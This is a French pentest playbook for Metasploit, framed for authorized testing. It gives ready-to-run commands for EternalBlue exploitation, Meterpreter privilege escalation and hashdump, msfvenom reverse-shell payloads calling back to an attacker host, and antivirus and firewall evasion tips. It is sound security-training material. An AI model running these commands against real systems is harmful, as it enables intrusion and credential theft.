---
title: "Metasploit Framework"
domain: security
subdomain: pentest
phase: 04-exploitation
type: playbook
tags: [metasploit, exploitation, pentest, meterpreter, msfvenom]
difficulty: intermediate
status: stable
updated: "Sun May 10 2026 00:00:00 GMT+0000 (Coordinated Universal Time)"
---
## Objectifs

Utiliser Metasploit pour exploiter des vulnérabilités identifiées et établir un accès.

<Warning>Utiliser uniquement sur des cibles autorisées. Documenter chaque exploit lancé avec timestamp.</Warning>

## Workflow de base

```bash vars=TARGET,LHOST,LPORT
# Lancer msfconsole
msfconsole -q

# Rechercher un module
search type:exploit name:eternalblue
search cve:2021-44228
search platform:windows rank:excellent

# Configurer et lancer
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS {{TARGET}}
set LHOST {{LHOST}}
set LPORT {{LPORT}}
check
run
```

## Gestion des sessions Meterpreter

```bash vars=LHOST,LPORT
# Sessions
sessions -l
sessions -i 1
sessions -u 1
background

# Commandes essentielles
sysinfo
getuid
getsystem
hashdump
ps
migrate 1234
shell
screenshot
download file.txt /tmp/
upload shell.exe C:\\Windows\\Temp\\
```

## Msfvenom — Payloads

```bash vars=LHOST,LPORT
# Windows exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f exe -o shell.exe

# Linux elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f elf -o shell.elf

# PHP webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f raw -o shell.php

# Listener
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST {{LHOST}}
set LPORT {{LPORT}}
exploit -j
```

## Post-exploitation modules

```bash
run post/multi/recon/local_exploit_suggester
run post/windows/gather/hashdump
run post/windows/gather/enum_applications
run post/multi/gather/ping_sweep RHOSTS=192.168.1.0/24
```

<Checklist
  title="Checklist Metasploit"
  storageKey="pentest-metasploit"
  items={[
    { id: "module", label: "Module sélectionné et options configurées" },
    { id: "check", label: "check exécuté avant run si disponible" },
    { id: "session", label: "Session Meterpreter obtenue" },
    { id: "sysinfo", label: "sysinfo et getuid collectés" },
    { id: "privesc", label: "getsystem tenté" },
    { id: "hashdump", label: "Hashes dumpés et sauvegardés" },
    { id: "cleanup", label: "Artefacts supprimés après test", critical: true },
  ]}
/>

## Pièges fréquents

- **Antivirus** : les payloads msfvenom sont détectés — utiliser un encoder ou obfuscation
- **Arch** : vérifier x86 vs x64 avant de générer un payload
- **Firewall** : si reverse_tcp bloqué, essayer reverse_https sur port 443
- **Cleanup** : supprimer TOUS les artefacts après pentest